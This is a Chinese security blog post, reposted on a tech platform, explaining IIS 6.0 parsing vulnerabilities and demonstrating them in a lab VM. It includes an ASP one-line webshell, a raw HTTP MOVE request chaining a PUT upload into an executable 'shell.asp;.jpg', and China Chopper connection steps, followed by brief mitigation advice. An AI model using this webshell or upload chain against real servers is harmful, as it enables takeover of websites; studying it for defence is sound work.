IIS-解析漏洞(上)

漏洞知识库

网络安全/渗透测试/代码审计/

关注

IIS - 解析漏洞(上)

漏洞介绍与成因

IIS-6.0这个版本中,搭建的服务器是2003系统中所造成的解析漏洞的两种情况。

情况一:/liuwx.asp/liuwx.jpg

介绍:在网站的根目录下创建一个命名为liuwx.asp的文件夹,该文件夹下有一个liuwx.jpg的图片木马,也就是说该目录下的所有文件都会被当做asp脚本文件

利用:访问 www.liuwx.cn/liuwx.asp/liuwx.jpg 会吧图片解析当成asp脚本文件执行
情况二:`liuwx.asp;.jpg`

介绍:创建一个图片并命名为liuwx.asp;.jpg,注意有一个分号和点,的图片文件

利用:www.liuwx.cn/liuwx.asp/liuwx.asp;.jpg  会吧它当做脚本文件执行

准备工作

虚拟机:Windows Server 2003 Enterprise x64 Edition

物理主机和2003虚拟机必须能相互Ping通

在这里我物理主机的IP是:192.168.1.100

2003虚拟机的IP是:192.168.119.133

漏洞验证

情况一

我首先在网站根目录下创建了一个liuwx.asp的目录,该目录下有一个liuwx.txt文件,里面写了这是情况一

接下来吧.txt修改为.jpg

此时,用物理机访问2003虚拟机的图片地址:

http://192.168.119.133/liuwx.asp/liuwx.jpg

可以看到它并没有显示图片,而是吧图片当做脚本来执行了!为了方便演示,我吧图片内容修改为asp一句话来演示<%execute(request("cmd"))%>

然后用菜刀链接URL:

http://192.168.119.133/liuwx.asp/liuwx.jpg | cmd

这个时候我们就成功得到了一个webshell

情况二

在网站根目录下创建一个命名为liuwx.asp;.jpg的文件,其中和上面的一样,里面写了asp一句话

用菜刀链接URL:

http://192.168.119.133/liuwx.asp;.jpg | cmd

这个时候我们就又成功得到了一个webshell

通过PUT漏洞来利用IIS6.0解析漏洞

关于PUT漏洞可以看我之前写的文章:http://www.liuwx.cn/IIS-1.html

HTTP/1.1 201 Created
Date: Fri, 16 Aug 2019 15:33:02 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Location: http://192.168.119.133/test.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

服务器验证一下看看存在不存在:

上传成功!

当然,我们上传txt文件并没有什么作用,我们得上传脚本文件才可以发挥作用。

我们上传先用PUT上传一个shell.txt:

上传成功后我们再选择MOVE

切记数据包中一定要加:;.jpg

MOVE /shell.txt HTTP/1.1
Host: 192.168.119.133
Destination: http://192.168.119.133/shell.asp;.jpg

这个时候就成功上传了一个shell.asp;/jpg的文件!

我们使用中国菜刀连接一下Shell:

这个时候就拿到了网站的控制权限!

修复建议

程序方面:

1、对新建目录文件名进行过滤,不允许新建包含.的文件夹

2、取消网站后台新建目录的功能,不允许新建目录

3、限制上传的脚本执行权限,不允许执行脚本

4、过滤.asp/*.jpg,通过ISApi组件过滤

本文分享自微信公众号 - 漏洞知识库(HackedBug)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-09-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏AndroidTv

手写实现深度拷贝

那么,对一个对象进行拷贝,无非就是对对象的属性进行拷贝,按照拷贝处理的方式不同,可分为浅拷贝和深拷贝:

8930
来自专栏Python空间

Python 标准库之时间篇

在昨天的文章(Python 标准库之日期)中我们学习了 Python 标准库中「日期 & 时间」中的「日期」,本来想昨天一起写完的,鉴于内容太多怕学起来厌烦了,...

4510
来自专栏中科院渣渣博肆僧一枚

tf.compat.v1.get_default_graph

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 ...

5620
来自专栏web前端技术分享

ES6复制拷贝数组,对象,json数组

数组是复合的数据类型,直接复制的话,只是复制了指向底层数据结构的指针,而不是克隆一个全新的数组。

8730
来自专栏喵君手记

Object.assign()用法

用于对象的合并,将源对象(source)的所有可枚举属性,复制到目标对象(target)。

10710
来自专栏喵君手记

JS深拷贝方法

10810
来自专栏全栈修炼

那些必会用到的 ES6 精粹

从接触 vue 到工作中用到 vue 将近 2 年了,在开发 vue 项目中用到了很多 es6 的 api ,es6 给我的开发带来了很大便利。

9320
来自专栏AndroidTv

扩展 Object.assign 实现深拷贝

但深拷贝,它是基于一个原对象,完完整整拷贝一份新对象出来,假如我们的需求是要将原对象上的属性完完整整拷贝到另外一个已存在的对象上,这时候深拷贝就有点无能为力了。

11520
来自专栏码匠的流水账

聊聊nacos address的getCluster

nacos-1.1.3/address/src/main/java/com/alibaba/nacos/address/controller/ServerLis...

7920
来自专栏前端之旅

解析赋值、浅拷贝和深拷贝

浅拷贝即 swallow copy,它会创建一个新对象,这个对象有着原始对象属性值的一份精确拷贝。如果属性是基本类型,拷贝的就是基本类型的值;如果属性是引用类型...

9620

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励